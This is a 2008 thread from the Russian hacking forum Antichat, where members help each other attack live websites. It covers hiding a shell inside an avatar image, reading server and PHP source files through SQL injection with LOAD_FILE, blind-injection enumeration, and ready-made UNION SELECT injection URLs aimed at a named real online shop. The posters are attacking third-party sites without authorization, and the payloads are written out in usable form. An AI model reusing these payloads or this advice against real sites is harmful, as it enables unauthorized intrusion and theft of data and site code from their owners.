25.08.2008, 00:21
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами:
9976706
Репутация:
1934
|
|
Ды посимвольным это уже вообще конечный вариант. думал, может есть ещё способы!? ладно, будем др*читься посимвольвно  |
|
|
25.08.2008, 01:18
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
С нами:
9741777
Репутация:
100
|
|
Нашел на античате шелл спрятанный под картинку
Есть система Slaed 3.5 и пару юзеров.
Как можно загрузить шелл через загрузку аватар? Как выполнять команды в этом случае?
|
|
|
|
25.08.2008, 01:20
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
С нами:
10692266
Репутация:
3486
|
|
Сообщение от Ershik
Нашел на античате шелл спрятанный под картинку
Есть система Slaed 3.5 и пару юзеров.
Как можно загрузить шелл через загрузку аватар? Как выполнять команды в этом случае?
"Как можно загрузить шелл через загрузку аватар?" - Аплоадом=) Если он в нужном расширении.
"Как выполнять команды в этом случае?" - Уже по сути никак. Апачей таких не осталось почти. А способ с шеллом в картинке используется для локальных инклудов.
|
|
|
|
25.08.2008, 03:36
|
|
Banned
Регистрация: 25.12.2006
Сообщений: 179
С нами:
10198073
Репутация:
354
|
|
AFoST
Ты уверен, что там именно 3 поля? Скинул бы ссылку, было б легче разобраться.Или хотя б ошибку опиши.
Мне кажется, что для посимвольного перебора ещё слишком рано, но тем не менее, ответ на твой вопрос
http://www.securitylab.ru/contest/212099.php
И в information_schema ты рано полез ))
|
|
|
|
25.08.2008, 12:09
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами:
9976706
Репутация:
1934
|
|
Сообщение от ThreeD
AFoST
Ты уверен, что там именно 3 поля? Скинул бы ссылку, было б легче разобраться.Или хотя б ошибку опиши.
Мне кажется, что для посимвольного перебора ещё слишком рано, но тем не менее, ответ на твой вопрос
http://www.securitylab.ru/contest/212099.php
И в information_schema ты рано полез ))
там на самом деле 32 поля. но писать их тут долго) а вот с ошибкой там хз че. короче 2 варианта. либо белый экран, либо пишет что страница не найдена и выдает несколько символов из какого-то хеша в левой части экрана =\
ссылку пока не дам :P
|
|
|
|
25.08.2008, 12:28
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
AFoST Если скуль слепая, то либо перебор с подзапросами, либо ищи дыру в других параметрах. А вообще , если хочешь , кинь линк в ПМ , посмотрю
|
|
|
|
25.08.2008, 19:31
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами:
9976706
Репутация:
1934
|
|
такс) прошлую проблему решил. теперь столкнулся с другой. вывожу на экран через мускул файл LOAD_FILE('/etc/passwd/logs/access.log') всё прекрасно работает. выводятся все записи и тд. в логах нашёл раскрытие путей и вывожу файл допустим такой LOAD_FILE('/home/www/name/name.ru/bla-bla/header.php') на что мне выводится на экран лишь часть аписанного в файле, примерно следующего содержания:
кусок кода страницы без скул-запроса:
<tr><td>
<a href="index.php?page=1&n=11&1187813822"><img src="66" width="90" height="90" border="1"></a>
</td>
<td width="140" class="ch5" valign="top">
<span class="ch2"><b> SQL-inj here</b></span><br>
0<br>
<a href="index.php?page=1&n=11&1187813822" class="ch5">view here</a>
</td></tr>
</table> </center>
<br>
</body>
</html> кусок кода страницы с скул-запросом:
<tr><td>
<a href="index.php?page=1&n=11&1187813307"><img src=" ?>>
<head profile="http://123.ru/11/11">
<meta http-equiv="Content-Type" content="<?php bloginfo('htmltype')" width="90" height="90" border="1"></a>
</td>
<td width="140" class="ch5" valign="top">
<span class="ch2"><b><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php languageattributes()</b></span><br>
charset=<?php bloginfo('charset')<br>
<a href="index.php?page=1&n=11&1187813307" class="ch5">view here</a>
</td></tr>
</table> </center>
<br>
</body>
</html> Кусок файла выводится на экран и всё...я так подозреваю, что ф-ция LOAD_FILE встречает какой-то символ и начинает некорректно обрабатывать содержимое файла...
вопрос. как вывести всё содержимое файла? |
|
|
|
25.08.2008, 22:48
|
|
Познающий
Регистрация: 24.04.2007
Сообщений: 92
С нами:
10025299
Репутация:
412
|
|
возможно в поле ограничено кол-во символов
попробуй другие поля
и вообще для чтения файлов юзай Sipt 4 имхо намного удобней
|
|
|
|
25.08.2008, 23:02
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами:
9976706
Репутация:
1934
|
|
Сообщение от S00pY
возможно в поле ограничено кол-во символов
попробуй другие поля
и вообще для чтения файлов юзай Sipt 4 имхо намного удобней
ну я ж написал)
Сообщение от AFoST
вывожу на экран через мускул файл LOAD_FILE('/etc/passwd/logs/access.log') всё прекрасно работает.
Значит не в ограниченности дело...
Sipt хм...скачаю посмотрю)
|
|
|
|
25.08.2008, 23:53
|
|
Новичок
Регистрация: 04.09.2007
Сообщений: 13
С нами:
9834147
Репутация:
4
|
|
народ, поможите
_http://www.nailshop.ee/emall/detail.php?prodid=-1+order+by+5,2/*
из запроса ясно, что таблиц всего 5.
Но тут вылезает проблема ни к месту
"The used SELECT statements have a different number of columns" при запросе:
_http://www.nailshop.ee/emall/detail.php?prodid=-1+union+select+concat_ws(0x3a,database(),user(),ve rsion()),2,3,4,5/**/
как такое может быть??? Вксь мозг поломал уже
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
